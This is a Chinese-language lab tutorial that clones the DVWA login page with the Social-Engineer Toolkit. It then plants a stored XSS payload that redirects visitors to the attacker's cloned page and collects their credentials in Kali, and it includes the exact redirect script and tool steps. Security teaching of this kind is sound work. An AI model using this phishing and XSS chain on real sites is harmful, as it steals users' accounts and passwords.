目录

一、盗取用户信息的原理

二、setookit工具克隆网站（万能社工工具）

三、利用存储型XSS漏洞跳转到该克隆网站

四、获取用户的账号与密码

一、盗取用户信息的原理

克隆网站登陆页面，利用XSS设置跳转代码，如果用户访问即跳转到克隆网站的登陆页面，用户输入登陆，账号和密码被存储。

某网站有存储型XSS漏洞，我们利用该漏洞，使访问该网站的用户都跳转到克隆的登陆网页，用户如果安全意识不强，则会输入账号密码登陆，从而账号和密码被我们存储。

二、setookit工具克隆网站（万能社工工具）

以DVWA为例子

我们要克隆这个页面

注意 ！这里要用 ip:端口号/dvwa 进入这个页面，我们一会需要在kali里面对这个页面进行克隆，需要从外部访问

kali终端输入setookit回车，y，回车

按顺序选择1--》2--》 3--》2 进入站点克隆

接下来不用输入，直接回车，默认使用kali的ip地址

输入需要克隆页面的url

http://172.20.10.3:8090/dvwa/login.php

然后回车

这就克隆好啦，我们直接访问172.20.10.5

可以看到我们克隆好的网页

三、利用存储型XSS漏洞跳转到该克隆网站

我们做好了克隆网站，下面就是要让受害者访问这个网站啦，就比如说，我在在线的dvwa中练习XSS呢，正好点进了有漏洞的页面，同时该网页被其他同学利用，已经存在存储好的脚本，我访问的时候触发跳转到让我登陆，如果我是初学者或者是在学其他模块不小心点错了，不知道这个漏洞，那我很可能会再输入一遍账号密码，从而泄露出去。

第一步构建payload

<script>document.location="http://172.20.10.5/";</script>

 我们把这一行插入到dvwa存储型XSS例题low难度

这时候我们再次访问

 直接跳转到我们做到克隆网页上了

做完这种操作以后无论在那个浏览器上访问，什么时候访问，都会跳转到该界面

尝试登陆

输入正确的账号密码，login一下发现没有任何效果，因为只克隆了这一页，当然不会有效果啦

四、获取用户的账号与密码

但是！这里没有效果，kali里面有啊，我们回到kali

账号密码就已经泄露被黑客拿到了